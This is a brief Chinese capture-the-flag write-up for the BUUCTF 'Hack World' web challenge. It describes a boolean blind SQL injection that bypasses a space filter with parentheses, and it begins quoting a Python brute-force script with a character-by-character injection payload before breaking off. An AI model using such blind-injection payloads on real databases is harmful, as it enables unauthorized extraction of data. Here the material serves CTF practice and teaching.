BUUCTF之[CISCN2019 华北赛区 Day2 Web1]Hack World ------- Boolean盲注

第一眼看这题的时候还以为是堆叠查询，结果试了下发现并不是。然后试着试着发现这题其实是个bool盲注题。然后再写个Python脚本暴力破解就可以了（其实解题思路并不是自己想出来的，只是这题之前做过很多次了。所以现在再做的时候有印象）

这题没什么难的，主要知识点就是bool盲注。还有就是空格需要用括号（）来绕过
先说一下网上找来的别的大佬的Payload

# -*- coding:utf-8 -*-
import requests
import string

def blind_injection(url):
	flag = ''
	strings = string.printable
	for num in range(1,60):
		for i in strings:
			payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.